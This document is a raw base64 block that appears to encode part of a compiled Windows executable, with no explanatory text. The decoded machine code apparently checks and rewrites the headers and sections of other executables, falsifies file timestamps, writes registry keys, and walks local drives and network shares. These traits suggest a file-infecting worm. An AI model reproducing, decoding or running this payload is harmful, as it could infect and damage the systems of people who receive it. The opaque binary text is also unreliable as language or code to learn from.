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 